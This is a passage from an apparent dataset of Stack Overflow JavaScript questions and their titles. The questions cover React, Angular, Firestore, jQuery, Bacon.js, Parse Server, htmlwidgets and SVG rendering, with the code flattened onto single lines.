( 1 , horas [ 16 ] ) } < /ul > < ul className= '' horario-item '' > { this.filtrarClase ( 2 , horas [ 16 ] ) } < /ul > < ul className= '' horario-item '' > { this.filtrarClase ( 3 , horas [ 16 ] ) } < /ul > < ul className= '' horario-item '' > { this.filtrarClase ( 4 , horas [ 16 ] ) } < /ul > < ul className= '' horario-item '' > { this.filtrarClase ( 5 , horas [ 16 ] ) } < /ul > < ul className= '' horario-item '' > { this.filtrarClase ( 6 , horas [ 16 ] ) } < /ul > < /div > actualizarLista ( dia ) { const horas = [ '07:30 ' , '08:15 ' , '08:30 ' , '09:30 ' , '10:30 ' , '15:00 ' , '15:15 ' , '15:30 ' , '17:30 ' , '18:00 ' , '18:15 ' , '18:30 ' , '19:00 ' , '19:30 ' , '20:00 ' , '20:30 ' , '21:30 ' ] for ( let i=0 ; i < horas.length ; i++ ) { return < ul className= '' horario-item '' > { this.filtrarClase ( dia , horas [ i ] ) } < /ul > } } render ( ) { let dias = [ 1,2,3,4,5,6 ] for ( let i=0 ; i < dias.length ; i++ ) { this.actualizarLista ( i ) } return ( < div className= '' App '' > < div className= '' horario-container '' > < div className= '' horario-list '' > { dias } < /div > ... ... ...",for loop in react "JS : Considering I have this div : I simply want to get the string `` Thursday , October 18 , 2018 '' , so excluding the inner div.If I try with .innerHMTML : It returns everything in .ResCheckIn , including the inner div with class `` ResDtlLabel '' , so this : And ideally I would love to do that without using jQuery . < div class= '' ResCheckIn '' > < div class= '' ResDtlLabel '' > Check-in < /div > Thursday , October 18 , 2018 < /div > document.querySelectorAll ( '.ResCheckIn ' ) .innerHTML ; < div class= '' ResDtlLabel tSmall tLight '' > Check-in < /div > Thursday , October 11 , 2018",Javascript .innerHTML but excluding inner div "JS : In Ruby , it 's possible for an array to contain itself , making it a recursive array . Is it possible to put a JavaScript array inside itself as well ? Now how can I move arr into arr [ 1 ] so that the array contains itself recursively , ( e. g. , so that arr [ 1 ] is arr , arr [ 1 ] [ 1 ] contains arr , arr [ 1 ] [ 1 ] [ 1 ] contains arr , etc . ) ? var arr = new Array ( ) ; arr [ 0 ] = `` The next element of this array is the array itself . ''",Is it possible for a JavaScript array to contain itself ? "JS : I am building an app in angular , which consumes different APIs and Gives options for the user to select it will be recorded and sent back to the server.I have designed it as follows . All the common logic in Main Controller and all other options in different controllers as the child of main controller . Main Controller retrieve all the data that are required to run the app.which is consumed by all other child controllers . To make sure data is loaded I am using promise attached to scope . So all the child controller will know data loaded.I have moved data updation part of all child controllers to main controllerbecause all the updates happen in one object . Child Controller emit/broadcast to communicate between child and main . So when update happens child will emit an event with data which will be captured by Main and it will do the update.QuestionsIs it a good practice to use events between controllers ? is it good to use promise attached to scope for child controllers ? Will it improve my code if I start using services ? MainController { $ scope.loaded = DataService.get ( ) ; $ scope.userOptions = { } ; $ scope. $ on ( 'update ' , function ( ) { updateUserOptions ( ) ; } ) } ChildController { $ scope.loaded.then ( function ( ) { //all logic of child controller } $ scope.onselect = function ( ) { $ scope. $ emit ( 'update ' , data ) ; } }",Angular Project Architecture "JS : BackgroundI am writing an esoteric language called Jolf . It is used on the lovely site codegolf SE . If you do n't already know , a lot of challenges are scored in bytes . People have made lots of languages that utilize either their own encoding or a pre-existing encoding.On the interpreter for my language , I have a byte counter . As you might expect , it counts the number of bytes in the code . Until now , I 've been using a UTF-8 en/decoder ( utf8.js ) . I am now using the ISO 8859-7 encoding , which has Greek characters . Nor does the text upload actually work . I need to count the actually bytes contained within an uploaded file . Also , is there a way to read the contents of said encoded file ? QuestionGiven a file encoded in ISO 8859-7 obtained from an < input > element on the page , is there any way to obtain the number of bytes contained in that file ? And , given `` plaintext '' ( i.e . text put directly into a < textarea > ) , how might I count the bytes in that as if it was encoded in ISO 8859-7 ? What I 've triedThe input element is called isogreek . The file resides in the < input > element . The content is ΦX族 , a Greek character , a latin character ( each of which should be a byte ) and a Chinese character , which should be more than one byte ( ? ) . isogreek.files [ 0 ] .size ; // is 3 ; should be more.var reader = new FileReader ( ) ; reader.readAsBinaryString ( isogreek.files [ 0 ] ) ; // corrupts the string to ` ÖX ? ` reader.readAsText ( isogreek.files [ 0 ] ) ; // �X ? reader.readAsText ( isogreek.files [ 0 ] , '' ISO 8859-7 '' ) ; // �X ?",Counting the byte size of a file encoded in ISO 8859-7 in JavaScript "JS : I am working on a browser game and I have a collection in firestore that looks like this : Is there any way to query for all documents , that match a given level like when I have a level of 8 I only want to fetch the documents `` doc 2 '' and `` doc 3 '' because the level requirements match ? I tried with something likeI also tried to change the structure in my documents to this : and filter it like thisBut firestore always returns me all documents . { title : `` doc 1 '' , requirements : { level : { min : 2 , max : 3 } } } , { title : `` doc 2 '' , requirements : { level : { min : 6 , max : 8 } } } , { title : `` doc 3 '' , requirements : { level : { min : 8 , max : 9 } } } ref.where ( `` requirements.level.min '' , `` < = '' , level ) ; ref.where ( `` requirements.level.max '' , `` > = '' , level ) ; { title : `` doc 1 '' , requirements : { level : [ 2 , 3 ] } } , { title : `` doc 2 '' , requirements : { level : [ 6 , 7 , 8 ] } } ref.where ( `` requirements.level '' , `` array-contains '' , level )",Google Firestore : Filter documents where sub-key is between given value "JS : What 's the difference between this two code examples ( besides the syntax of course ) ? EXAMPLE 1 : EXAMPLE 2 : Both examples assign the same value . I do n't get what 's the difference or vantage/advantage of using either . var user = { name : 'Diego ' , age : 25 } var { name } = user ; console.log ( name ) ; // Diego var user = { name : 'Diego ' , age : 25 } var name = user.name ; console.log ( name ) ; // Diego",What 's the difference between object destructuring and normal object assignment in Javascript ES6 ? "JS : I was trying to draw the star patter in react native where instead of stars , there are suppose to be square boxes . Star pattern would look like this In Vanila JS , it would look like But that 's vanila JS and I want to make the same in React-native functional component and then display it in JSX Consider this my functional component in react nativeQuestion : How can I do it ? ******************** let rows=5 ; for ( let i=1 ; i < = 5 ; i++ ) { for ( let j=1 ; j < =5 ; j++ ) { document.write ( '* ' ) ; } document.write ( ' < br / > ' ) ; } let numberOfBoxesRequired = 4 ; let array = [ ] const gridBoxes = ( props ) = > { for ( let i=0 ; i < numberOfBoxesRequired ; i++ ) { for ( let j=0 ; j < numberOfBoxesRequired ; j++ ) { } } return ( < View style= { mainGridBox } > < /View > ) }",Designing a star pattern in React Native "JS : I have the following functionvar2 and var3 are optional variables.If all 3 variables were send to this function , then I need to return object with 3 fields.If var2 is undefined , I need to return object with 2 fields only.If var3 is undefined , I need to return object with 2 fields only.If var2 and var3 are undefined , I need to return object with 1 field only . const exampleFunction = ( var1 , var2 , var3 ) = > { return const targetObject = { var1 , var2 , var3 , } , } ;",How to not include field in object if value is undefined "JS : What 's the most elegant way to write Karma unit tests in mocha that both have dependency injection and done ? Dependency injection : Done : What if I want both cow and done available in my unit test ? Right now , this is what I 'm doing , and it 's unsatisfactory . describe ( 'cows ' , function ( ) { it ( 'farts a lot ' , inject ( function ( cow ) { // do stuff } ) ) } ) describe ( 'cows ' , function ( ) { it ( 'farts a lot ' , function ( done ) { // do stuff } ) } ) beforeEach ( inject ( function ( cow ) { this.cow = cow ; } ) ) it ( 'farts a lot ' , function ( done ) { this.cow // etc } )",Writing Karma + Mocha tests with both dependency injection and ` done ` ? "JS : I have a customer with a subscription . You can also edit the customers subscription.When you are going to edit the subscription , you can choose different options in different select-boxes.When you choose an option in the first select-box , the other select-boxes are filled with data that `` belongs '' to the option you chose in the first select-box.Here is the html code for my first select-box : Here is my angularjs code that fills the select-box with data : I 'm just getting the data from my backend.Here is the rest of my select-boxes : I change the options in the select-boxes with the following code : The code above fills the select-boxes with data , based on the option value you chose In the first select-box.Now till my problem : I want to set the customers current subscription settings as `` selected '' In the select-boxes . How can I do that ? I tried to do it manually with the following code : This works . But the thing is that I want all the data that belongs to the `` selected '' value , should be loaded directly . As you can see now , the data is generated only if you choose a new value ( the ng-change Is triggered here ) , in the select-box . Any suggestions how to do this ? The data that comes from my backend , and loads the select-box with data , is an array with objects . Can I somehow get access to the whole object and it 's properties when it is set to `` selected '' ? Can anyone help me ? < select class= '' form-control input-sm2 '' ng-model= '' selectedSupercustomer '' ng-options= '' item as item.namn for item in superkundOptions '' ng-change= '' onChangeSuperCustomer ( selectedSupercustomer ) '' > $ http.get ( $ rootScope.appUrl + '/nao/abb/getSuperkundData/ ' + $ rootScope.abbForm ) .success ( function ( data ) { $ scope.superkundOptions = data ; } ) ; < select class= '' form-control input-sm2 '' ng-disabled= '' ! selectedSupercustomer '' ng-model= '' selectedGateway '' ng-options= '' item as item.gwtypen for item in gatewayOptions '' ng-change= '' onChangeGateway ( selectedGateway ) '' > < option value= '' > Välj GW < /option > < /select > < select class= '' form-control input-sm2 '' ng-disabled= '' ! selectedSupercustomer '' ng-model= '' selectedSwitch '' ng-options= '' item as item.gatuadresser for item in switchOptions '' ng-change= '' onChangeSwitch ( selectedSwitch ) '' > < option value= '' > Välj switch < /option > < /select > $ scope.onChangeSuperCustomer = function ( selectedSupercustomer ) { $ http.get ( $ rootScope.appUrl + '/nao/abb/getGatewayData/ ' + selectedSupercustomer.nod_id ) .success ( function ( data ) { $ scope.gatewayOptions = data ; } ) ; $ http.get ( $ rootScope.appUrl + '/nao/abb/getSwitchData/ ' + selectedSupercustomer.superkund_id ) .success ( function ( data ) { $ scope.switchOptions = data ; } ) ; $ http.get ( $ rootScope.appUrl + '/nao/abb/getLanAbonnemangsformData ' ) .success ( function ( data ) { $ scope.abbformOptions = data ; } ) ; $ http.get ( $ rootScope.appUrl + '/nao/abb/getSupplierData ' ) .success ( function ( data ) { $ scope.supplierOptions = data ; console.log ( $ scope.supplierOptions ) ; } ) ; } $ http.get ( $ rootScope.appUrl + '/nao/abb/getSuperkundData/ ' + $ rootScope.abbForm ) .success ( function ( data ) { $ scope.superkundOptions = data ; $ scope.superkundOptions.unshift ( { id : $ rootScope.abbData.superkund_id , namn : $ rootScope.abbData.namn } ) ; //Sets this to default selected In first selectbox $ scope.selectedSupercustomer = $ scope.superkundOptions [ 0 ] ; } ) ;",Load data directly into selectbox angularjs "JS : In JavaScript , every function 's prototype object has a non-enumerable property constructor which points to the function ( EcmaScript §13.2 ) . It is not used in any native functionality ( e.g . instanceof checks only the prototype chain ) , however we are encouraged to adjust it when overwriting the prototype property of a function for inheritance : But , do we ( including me ) do that only for clarity and neatness ? Are there any real-world use cases that rely on the constructor property ? SubClass.prototype = Object.create ( SuperClass.prototype , { constructor : { value : SubClass , writable : true , configurable : true } } ) ;",What is the ` constructor ` property really used for ? "JS : The closure code is very short : Why [ `` foo '' ] is printed instead of bar ? If I comment out var fn = ... , the result is as expected and bar is printed . How can those 2 pieces of code be related ? var fn = function ( ) { return function ( ) { console.log ( arguments ) ; } } ( function ( arg ) { console.log ( 'bar ' ) ; } ) ( 'foo ' ) ;",Javascript closure unexpected result "JS : I was trying to do something along these lines : which seems simple enough , but it is crippled by the `` this '' problem . I want to find a way to just pass the actual function as a parameter , without wrapping it in another function , e.g . I do not want to do this : What I 've tried : I 'm looking for the way to remedy this problem , but I do n't want to wrap it in another function . The less lines of code , the better . I know WHY this is n't working as expected , but HOW can I fix it without wrapping it in a closure ? setTimeout ( $ ( ' # element ' ) .hide,3000 ) ; setTimeout ( function ( ) { $ ( ' # element ' ) .hide ( ) ; } ,3000 ) ; setTimeout ( $ ( ' # element ' ) .hide,3000 ) ; setTimeout ( $ ( ' # element ' ) .hide.apply ( document ) ,3000 ) ; /* jQuery docs say that document is the default context */setTimeout ( $ ( ' # element ' , document ) .hide,3000 ) ; setTimeout ( $ ( document ) .find ( ' # element ' ) .hide,3000 ) ; setTimeout ( $ ( window ) .find ( ' # element ' ) .hide,3000 ) ; setTimeout ( $ .proxy ( $ ( ' # element ' ) .hide , document ) ,3000 ) ; /* I know this returns a function , which I do n't want , but I have tried it */setTimeout ( ( $ ( ' # element ' ) .hide ( ) ) ,3000 ) ; /* functional expression */",Way to execute jQuery member functions inside setTimeout without closure ? "JS : I 've read about FRP and was very excited.It looks great , so you can write more high-level code , and everything is more composable , and etc.Then I 've tried to rewrite my own little game with a few hundreds sloc from plain js to Bacon.And I found that instead of writing high-level logic-only code , I actually beating with Bacon.js and its adherence to principles.I run into some headache that mostly interfere clean code.take ( 1 ) Instead of getting value , I should create ugly constructions.Circular dependenciesSometimes they should be by logic . But implementing it in FRP is scaryActive stateEven creator of bacon.js have troubles with it.As example here is the peace of code to demonstrate the problem : Task is to not allow two players stay at same placeImplemented with bacon.jshttp : //jsbin.com/zopiyarugu/2/edit ? js , consoleWhat I want to demonstrate is : me.positions have dependency on its ownIt 's not easy to understand this code . Here is imperative implementation . And it looks much easier to understand . I spent much more time with bacon implementation . And in result I 'm not sure that it will works as expected.My question : Probably I miss something fundamental . Maybe my implementation is not so in FRP style ? Maybe this code looks ok , and it just unaccustomed with new coding style ? Or this well-known problems , and I should choose best of all evil ? So troubles with FRP like described , or troubles with OOP . function add ( a ) { return function ( b ) { return a + b } } function nEq ( a ) { return function ( b ) { return a ! == b } } function eq ( a ) { return function ( b ) { return a === b } } function always ( val ) { return function ( ) { return val } } function id ( a ) { return a } var Player = function ( players , movement , initPos ) { var me = { } ; me.position = movement .flatMap ( function ( val ) { return me.position .take ( 1 ) .map ( add ( val ) ) } ) .flatMap ( function ( posFuture ) { var otherPlayerPositions = players .filter ( nEq ( me ) ) .map ( function ( player ) { return player.position.take ( 1 ) } ) return Bacon .combineAsArray ( otherPlayerPositions ) .map ( function ( positions ) { return ! positions.some ( eq ( posFuture ) ) ; } ) .filter ( id ) .map ( always ( posFuture ) ) } ) .log ( 'player : ' + initPos ) .toProperty ( initPos ) ; return me ; } var moveA = new Bacon.Bus ( ) ; var moveB = new Bacon.Bus ( ) ; var players = [ ] ; players.push ( new Player ( players , moveA , 0 ) ) ; players.push ( new Player ( players , moveB , 10 ) ) ; moveA.push ( 4 ) ; moveB.push ( -4 ) ; moveA.push ( 1 ) ; moveB.push ( -1 ) ; moveB.push ( -1 ) ; moveB.push ( -1 ) ; moveA.push ( 1 ) ; moveA.push ( -1 ) ; moveB.push ( -1 ) ;",Fighting with FRP "JS : how to simply make a reference to this ( the obj ) in this simple example ? ( and in this exact case , using obj . literal ) ? http : //jsfiddle.net/YFeGF/I tried also making that : this , but again that is undefined inside the inner object var obj = { planet : `` World ! `` , // ok , let 's use this planet ! text : { hi : `` Hello `` , pl : this.planet // WRONG scope ... : ( } , logTitle : function ( ) { console.log ( this.text.hi + '' + this.planet ) ; // here `` this '' works ! } } ; obj.logTitle ( ) ; // WORKS ! // `` Hello World ! `` console.log ( obj.text.hi + '' + obj.text.pl ) ; // NO DICE // `` Hello undefined ''",this scope inside object literal "JS : Note Reopening bounty as forgot to award it last time . Already being answered by Master A.Woff.I want to reach to a certain row when a user expands it ( so that when last visible row gets expanded , the user does n't have to scroll down to see the content ) .I used , NoteExpand row - just click on click hyperlink . It will show row detailsDatatable with expand row $ ( ' # example tbody ' ) .on ( 'click ' , 'td .green-expand ' , function ( event , delegated ) { var tr = $ ( this ) .closest ( 'tr ' ) ; var row = table.row ( tr ) ; if ( row.child.isShown ( ) ) { if ( event.originalEvent || ( delegated & & ! $ ( delegated ) .hasClass ( 'show ' ) ) ) { row.child.hide ( ) ; tr.removeClass ( 'shown ' ) ; } } else { if ( event.originalEvent || ( delegated & & $ ( delegated ) .hasClass ( 'show ' ) ) ) { row.child ( format ( row.data ( ) ) ) .show ( ) ; tr.addClass ( 'shown ' ) ; var parent = $ ( this ) .closest ( 'table ' ) ; var scrollTo = $ ( this ) .closest ( 'tr ' ) .position ( ) .top ; $ ( '.dataTables_scrollBody ' ) .animate ( { scrollTop : scrollTo } ) ; } } } ) ;",scrollTop not as expected "JS : I experienced using object.hasOwnProperty ( 'property ' ) to validate Javascript object and recently noticed that Reflect.has ( ) also used to validate the object properties.However , both are almost the same functionality but I would like to understand the best practice to use Reflect.has ( ) and which one will cause better performance . I noticed that if it is not an object then hasOwnProperty is not throwing any error but Reflect.has ( ) throws an error . var object1 = { property1 : 42 } ; //expected output : trueconsole.log ( object1.hasOwnProperty ( 'property1 ' ) ) ; console.log ( Reflect.has ( object1 , 'property1 ' ) ) ; // expected output : trueconsole.log ( Reflect.has ( object1 , 'property2 ' ) ) ; // expected output : falseconsole.log ( Reflect.has ( object1 , 'toString ' ) ) ; //For Negative case scenariovar object2 = '' '' ; // expected output : falseconsole.log ( object2.hasOwnProperty ( 'property1 ' ) ) // errorconsole.log ( Reflect.has ( object2 , 'property1 ' ) ) ;",Javascript object.hasOwnProperty ( ) vs Reflect.has ( ) "JS : I am creating a Javascript script to use with Indesign Server ( CS3 ) .Trying to find all textareas within a document and find the contents of them.I can easily loop through all the textareas , using the functions provided by Adobe . However , when i try to get the content of the TextArea , I only get the content that is visible within that textarea , not the out port text . In other words , if the Indesign document contains a textarea with a little plus sign , indicating that there is more text , but it did not fit , then my script does not return the hidden text.Or , to put it another words again . Can i get the entire content when the 'overflows ' property of the 'textarea ' is false ; Full code : How can I read the full content of the Textarea ? document.TextAreas [ 0 ] .contents function FindAllTextBoxes ( ) { var alertMessage ; for ( var myCounter = myDoc.textFrames.length-1 ; myCounter > = 0 ; myCounter -- ) { var myTextFrame = myDoc.textFrames [ myCounter ] ; alertMessage += `` \nTextbox content : `` + myTextFrame.contents ; alertMessage += `` \nOverflow : '' + myTextFrame.overflows ; alert ( alertMessage ) ; } }",Indesign Server Scripting Textarea.Contents "JS : I have a svg file that accept parameters to rotate himself and it works fine using this syntax in an object tag in html : But if I try to use it like an icon , does n't work , showing only the default image heading.ororIt is n't a cache problem , if I inspect the html code generated I can see the complete url pointing to the image : What am I missing ? , I want rotate the icon cleanly in any degree . Thanks.PD : If I follow the image link in a new chrome tab from the generated code I can see the image with the right heading and the url is mapped to : but works away of a map only . < object id= '' myicon '' data= '' ../static/images/icons/icon.svg ? trans=rotate ( 75 16 16 ) '' type= '' image/svg+xml '' > < /object > markers [ 0 ] .set ( `` icon '' , `` ../static/images/icons/icon.svg ? trans=rotate ( 75 16 16 ) '' ) markers [ 0 ] .setIcon ( `` ../static/images/icons/icon.svg ? trans=rotate ( 75 16 16 ) '' ) markers [ 0 ] .setIcon ( `` ../static/images/icons/icon.svg ? trans=rotate ( 75+16+16 ) '' ) < img src= '' ../static/images/icons/icon.svg ? trans=rotate ( 75 16 16 ) '' draggable= '' false '' style= '' position : absolute ; left : 0px ; top : 0px ; -webkit-user-select : none ; width : auto ; height : auto ; border : 0px ; padding : 0px ; margin : 0px ; '' > /images/icons/icon.svg ? trans=rotate ( 75 % 2016 % 2016 )",Using a svg with params in a marker icon JS : Consider the following statements : Can you explain why foo.bar is undefined instead of being foo ? var foo = { n : 1 } ; foo.bar = foo = { n : 2 } ;,Chained assignment and circular reference in JavaScript "JS : I have been impressed by the slick javascript library ( http : //kenwheeler.github.io/slick/ ) and want to incorporate it into my shiny apps/flexboard pages.I would like to use the htmlwidgets package in R incorporate the slick js library , so have started by trying to create a package as is suggested in the online documentation ( http : //www.htmlwidgets.org/develop_intro.html ) , by carrying out the following ... I downloaded the js library from https : //github.com/kenwheeler/slick/archive/1.6.0.zipand placed it into the structure of the package so that I have a file structure that looks a bit like this.My slick.yaml file looks like this ... But am really stuck as to how to adjust the inst/htmlwidget/slick.js file and the R/slick.R file in a way that can take a vector of urls and display them in a shiny app . The reason for this , is that it does not seem to match a similar input data concept as the example provided.For reproducibility and to use the same URLs that are provided in the examples in the package , I am providing a vector of placeholder img urls that I would like to use as the contents . For each image in the carousel.Perhaps I might need to use something like this ? ... As always any help on this would be much appreciated.EDITMy new slick.yaml file looks like the following ... after @ NicE 's answer post ... am I missing something ? and now my file structure looks like the following : and my /inst/htmlwidgets/slick.js looks like the following devtools : :create ( `` slick '' ) setwd ( `` slick '' ) htmlwidgets : :scaffoldWidget ( `` slick '' ) R/| slick.Rinst/| -- htmlwidgets/| | -- slick.js| | -- slick.yaml| | -- lib/| | | -- slick-1.6.0/| | | | -- slick/| | | | | -- slick.min.js | | | | | -- slick.js| | | | | -- slick.css| | | | | -- slick-theme.css dependencies : - name : slick version : 1.6.0 src : htmlwidgets/lib/slick-1.6.0 script : - slick/slick.min.js - slick/slick.js stylesheet : - slick/slick.css - slick/slick-theme.css image_vec < - paste0 ( `` http : //placehold.it/350x300 ? text= '' , seq ( 1:9 ) ) lapply ( image_vec , function ( y ) { div ( img ( src=y ) ) } ) dependencies : - name : jquery version : 3.1.0 src : htmlwidgets/lib script : - jquery-3.1.0.min.js - name : slick version : 1.6.0 src : htmlwidgets/lib/slick-1.6.0 script : - slick/slick.min.js - slick/slick.js stylesheet : - slick/slick.css - slick/slick-theme.css R/| slick.Rinst/| -- htmlwidgets/| | -- slick.js| | -- slick.yaml| | -- lib/| | | -- jquery-3.1.0.min.js| | | -- slick-1.6.0/| | | | -- slick/| | | | | -- slick.min.js | | | | | -- slick.js| | | | | -- slick.css| | | | | -- slick-theme.css HTMLWidgets.widget ( { name : 'slick ' , type : 'output ' , factory : function ( el , width , height ) { // TODO : define shared variables for this instance // create new slick object witht the given id ? var sl = new slick ( el.id ) ; return { renderValue : function ( x ) { //add class to the div and center it el.setAttribute ( `` class '' , x.class ) ; el.style.margin = `` auto '' ; //add images to the div content= '' ; for ( var image in x.message ) { content += ' < div > < img src= '' ' + x.message [ image ] + ' '' / > < /div > ' ; } el.innerHTML = content ; //initialize the slider . $ ( document ) .ready ( function ( ) { $ ( `` . `` +x.class ) .slick ( x.options ) ; } ) ; } , resize : function ( width , height ) { // TODO : code to re-render the widget with a new size } } ; } } ) ;",using htmlwidgets : :scaffoldWidget to incorporate external js libraries for a new package to go into a shiny app "JS : Given the following code : My goal here would be to be able to call `` showFullName '' on thePerson . While I understand that JS does not really have objects , it must have some way of being able to say something should be treated a certain way , like casting thePerson to a Person . function Person ( firstName , lastName ) { this.FirstName = firstName ; this.LastName = lastName ; } Person.prototype.showFullName = function ( ) { return this.FirstName + `` `` + this.LastName ; } ; var person = new Person ( `` xx '' , `` xxxx '' ) ; var jsonString = JSON.stringify ( person ) ; var thePerson = JSON.parse ( jsonString ) ;",Reapply JS Prototype functions after deserialization "JS : My bookmarklet consist of a call to a 'launcher ' script that is inserted into body . As it runs , it inserts in a similar way more scripts ( jQuery , the actual application ) , and a CSS.BookmarkletLauncher.jsThe problem is that if the bookmarklet is clicked twice , all the scripts will be inserted again . How can I prevent this behavior ? javascript : ( function ( ) { var l = document.createElement ( 'script ' ) ; l.setAttribute ( 'type ' , 'text/javascript ' ) ; l.setAttribute ( 'src ' , 'launcher.js ' ) ; document.body.appendChild ( l ) ; } ) ( ) ; var s = document.createElement ( 'script ' ) ; s.setAttribute ( 'type ' , 'text/javascript ' ) ; s.setAttribute ( 'src ' , 'my actual script ' ) ; document.body.appendChild ( s ) ; // I repeat a block like this once per script/css .",How to enforce a bookmarklet to run only once ? "JS : I am doing a sort of crude parsing of javascript code , with javascript . I 'll spare the details of why I need to do this , but suffice to say that I do n't want to integrate a huge chunk of library code , as it is unnecessary for my purposes and it is important that I keep this very lightweight and relatively simple . So please do n't suggest I use JsLint or anything like that . If the answer is more code than you can paste into your answer , it 's probably more than I want.My code currently is able to do a good job of detecting quoted sections and comments , and then matching braces , brackets and parens ( making sure not to be confused by the quotes and comments , or escapes within quotes , of course ) . This is all I need it to do , and it does it well ... with one exception : It can be confused by regular expression literals . So I 'm hoping for some help with detecting regular expression literals in a string of javascript , so I can handle them appropriately.Something like this : function getRegExpLiterals ( stringOfJavascriptCode ) { var output = [ ] ; // todo ! return output ; } var jsString = `` var regexp1 = /abcd/g , regexp1 = /efg/ ; '' console.log ( getRegExpLiterals ( jsString ) ) ; // should print : // [ { startIndex : 13 , length : 7 } , { startIndex : 32 , length : 5 } ]",finding regular expression literals in a string of javascript code "JS : I just migrated a Parse Server , and everything works , except cloud code . I have come to the understanding that it 's because in my main.js I require the library `` Underscore '' .This is my cloud code function : The code worked with no error before the migration . I 'm guessing the require does n't find the right folder . To give you folder structure it looks like this : Cloudcode location : mainfolder- > cloud- > main.jsUnderscore library : mainfolder- > node_modules- > underscore ( folder ) Is the code faulty or is the structure of folders faulty ? Thanks in advance ! /Martin Parse.Cloud.define ( `` ReadyUp '' , function ( request , response ) { var _ = require ( 'underscore ' ) ; var fbid = request.user.get ( `` fbid '' ) ; var query = new Parse.Query ( `` Spel '' ) ; query.equalTo ( `` lobby '' , fbid ) ; query.find ( ) .then ( function ( results ) { _.each ( results , function ( spel ) { spel.addUnique ( `` ready '' , fbid ) ; } ) ; return Parse.Object.saveAll ( results ) ; } ) .then ( function ( result ) { response.success ( result ) ; } , function ( error ) { response.error ( error ) ; } ) ; } ) ;",Ca n't get 'underscore ' to work with parse server "JS : I have the following Javascript : Foo in this case is an input box.Under Windows , and Windows only - holding down the CTRL modifier changes the keyCode from 13 to 10 . So if I do Enter v.s . CTRL + Enter , I see Enter ( 13 ) and Ctrl+Enter ( 10 ) in the console . Mac OS and Linux do n't do this regardless of browser.Why is this ? Fiddle to play with at http : //jsfiddle.net/K6NhF/ $ ( function ( ) { $ ( `` # foo '' ) .keypress ( function ( event ) { if ( event.keyCode == 13 ) { console.log ( event.ctrlKey ? `` Ctrl+Enter ( 13 ) '' : `` Enter ( 13 ) '' ) ; } else if ( event.keyCode == 10 ) { console.log ( event.ctrlKey ? `` Ctrl+Enter ( 10 ) '' : `` Enter ( 10 ) '' ) ; } } ) ; } ) ;",Holding down 'ctrl+enter ' gives a different keycode for keypress event than just straight 'enter ' - But only on Windows "JS : Okay , take it easy on me . I am really new to JavaScript and having issues getting the for-each loop to work correctly . Any Tips ? var array = [ `` Bob '' , `` Nancy '' , `` Jessie '' , `` Frank '' ] ; var arrayLength = myStringArray.length ; for ( var i = 0 ; i < arrayLength ; i++ ) { document.write ( array ) ; }",How to create a JavaScript For Each Loop "JS : Parent Component : Item Component : I want every Item Component loop animate separate , but the fact is that all Item Components animation end and then all Item Component start the animation together . How can I fix it ? routes.forEach ( ( data , index ) = > { content.push ( < Item key= { index } offset= { 688 } route= { route } / > ) } ) scrollAnimate ( toValue ) { const { offset } = this.props ; Animated.timing ( this.state.xTranslate , { toValue , duration : 20000 , easing : Easing.linear , useNativeDriver : true } ) .start ( ( e ) = > { if ( e.finished ) { const newState = { xTranslate : new Animated.Value ( offset ) } this.setState ( newState , ( ) = > { this.scrollAnimate ( toValue ) } ) } } ) ; }",How to deal with React Native animated.timing in same child components "JS : I have a big collection of svg images like this : and list of coordinates for each image on which a number has to be drawn ( see text-elements of following svg code ) . The problem is : When I add the required text elements , they are flipped vertically and horizontally : I just ca n't figure out a way to get the text to be displayed at the right position without without it being flipped horizontally and vertically . I already tried to wrap the text in another g-tag and do the transform again do revert it , but then the text would disappear . I also tried to move the text out of the original g-tag , but then my coordinates are n't valid anymore ... Edit : I 'm looking for a way to generate the svgs in a way that they are compatible with Safari ( on Windows ) , Chrome and Firefox.Edit2 : Unfortunately I ca n't use transform-box because I need to support a Safari based browser which does n't support it . < svg version= '' 1.1 '' viewBox= '' 0 0 1024 1024 '' xmlns= '' http : //www.w3.org/2000/svg '' > < g stroke= '' lightgray '' stroke-dasharray= '' 1,1 '' stroke-width= '' 1 '' transform= '' scale ( 4 , 4 ) '' > < line x1= '' 0 '' y1= '' 0 '' x2= '' 256 '' y2= '' 256 '' > < /line > < line x1= '' 256 '' y1= '' 0 '' x2= '' 0 '' y2= '' 256 '' > < /line > < line x1= '' 128 '' y1= '' 0 '' x2= '' 128 '' y2= '' 256 '' > < /line > < line x1= '' 0 '' y1= '' 128 '' x2= '' 256 '' y2= '' 128 '' > < /line > < /g > < g transform= '' scale ( 1 , -1 ) translate ( 0 , -900 ) '' > < style > .stroke1 { fill : # BF0909 ; } .stroke2 { fill : # BFBF09 ; } .stroke3 { fill : # 09BF09 ; } .stroke4 { fill : # 09BFBF ; } .stroke5 { fill : # 0909BF ; } .stroke6 { fill : # BF09BF ; } .stroke7 { fill : # BFBFBF ; } .stroke8 { fill : # 090909 ; } < /style > < path class= '' stroke1 '' d= '' M 272 567 Q 306 613 342 669 Q 370 718 395 743 Q 405 753 400 769 Q 396 782 365 808 Q 337 827 316 828 Q 297 827 305 802 Q 318 769 306 741 Q 267 647 207 560 Q 150 476 72 385 Q 60 375 58 367 Q 54 355 70 358 Q 82 359 109 384 Q 155 421 213 493 Q 226 509 241 527 L 272 567 Z '' fill= '' # BF0909 '' > < /path > < path class= '' stroke2 '' d= '' M 241 527 Q 262 506 258 375 Q 258 374 258 370 Q 254 253 221 135 Q 215 114 224 80 Q 236 44 248 32 Q 267 16 279 44 Q 294 86 294 134 Q 303 420 314 485 Q 321 515 295 543 Q 289 549 272 567 C 251 589 227 553 241 527 Z '' fill= '' lightgray '' > < /path > < path class= '' stroke3 '' d= '' M 521 560 Q 561 621 602 708 Q 620 751 638 773 Q 645 786 639 799 Q 633 811 602 830 Q 572 846 554 843 Q 535 839 546 817 Q 561 795 552 757 Q 513 619 407 448 Q 398 436 397 430 Q 394 418 409 423 Q 439 432 503 532 L 521 560 Z '' fill= '' lightgray '' > < /path > < path class= '' stroke4 '' d= '' M 503 532 Q 527 510 555 520 Q 795 608 782 549 Q 783 543 743 468 Q 736 458 741 453 Q 745 447 756 459 Q 852 532 894 549 Q 904 552 905 561 Q 906 574 876 592 Q 852 605 828 621 Q 800 637 783 630 Q 686 590 521 560 C 492 555 479 550 503 532 Z '' fill= '' lightgray '' > < /path > < path class= '' stroke5 '' d= '' M 568 72 Q 531 81 494 91 Q 482 94 483 86 Q 484 79 494 71 Q 569 7 596 -33 Q 611 -49 626 -36 Q 659 -3 661 82 Q 655 149 655 345 Q 656 382 667 407 Q 676 426 659 439 Q 634 461 604 470 Q 585 477 577 469 Q 571 462 582 447 Q 619 384 603 127 Q 597 82 589 74 Q 582 67 568 